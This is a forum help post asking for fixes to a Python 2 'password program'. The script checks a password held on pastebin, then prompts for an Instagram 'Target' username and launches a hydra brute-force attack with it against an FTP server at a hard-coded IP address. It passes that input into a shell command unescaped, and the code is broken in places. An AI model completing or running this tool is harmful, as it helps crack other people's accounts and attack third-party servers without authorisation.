Login with pastebin with python

Login with pastebin with python
0.0 0

#1

Tell us what’s happening:
trying to make a password program

print “Welcome to Hadock’s App”
pass_guess = raw_input("> ")
url = “http://pastebin.com/raw.php?i=AhNN6q84
resp = urllib.urlopen(url)
data = resp.read()
if pass_guess == data:
print “Password correct. Now logging in”
logged()
elif pass_guess != data:
print “Password Incorrect. Please try again”
login()
os.system(“clear”)

def logged():

Your code so far


import subprocess, sys
import os#!/bin/python
import optparse
import getpass
import urllib
def logged():
  print "You successfully logged in!ww"

def starter():
print "\033[92m"
print "########     ###    ##    ## ######## ##       "
print "##     ##   ## ##   ###   ## ##       ##       "
print "##     ##  ##   ##  ####  ## ##       ##       "
print "########  ##     ## ## ## ## ######   ##       "
print "##        ######### ##  #### ##       ##       "
print "##        ##     ## ##   ### ##       ##       "
print "##        ##     ## ##    ## ######## ######## "
print "'\033[93m'"
print "Please Login"
print "Contact administrator for password \nIf you have the updated password you may be ban \n please dont share password"

print "Welcome to Hadock's App"
pass_guess = raw_input("> ")
url = "http://pastebin.com/raw.php?i=AhNN6q84"
resp = urllib.urlopen(url)
data = resp.read()
if pass_guess == data:
  print "Password correct. Now logging in"
logged()
elif pass_guess != data:
  print "Password Incorrect. Please try again"
login()
os.system("clear")

##
def logged():
print '\033[92m'
print "'\033[92m'#### ##    ##  ######  ########    ###   '\033[93m'  ######    #######  ########   ######  "
print "'\033[92m' ##  ###   ## ##    ##    ##      ## ##  '\033[93m' ##    ##  ##     ## ##     ## ##    ## "
print "'\033[92m' ##  ####  ## ##          ##     ##   ## '\033[93m' ##        ##     ## ##     ## ##       "
print "'\033[92m' ##  ## ## ##  ######     ##    ##     ##'\033[93m' ##   #### ##     ## ##     ##  ######  "
print "'\033[92m' ##  ##  ####       ##    ##    #########'\033[93m' ##    ##  ##     ## ##     ##       ## "
print "'\033[92m' ##  ##   ### ##    ##    ##    ##     ##'\033[93m' ##    ##  ##     ## ##     ## ##    ## "
print "'\033[92m'#### ##    ##  ######     ##    ##     ##'\033[93m'  ######    #######  ########   ######  "
print "Beta"

print ""
print "./Instagram"
print '\033[93m'
x = raw_input('Target@')
print '\033[92m'
print 'Target Is locked in www.instagram.com/' + x

print '\033[93m'
print ""
os.system("hydra -t 10 -V -f -l " + x + " -x 4:6:a ftp://52.70.114.30")

Your browser information:

User Agent is: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0.

Link to the challenge:
https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/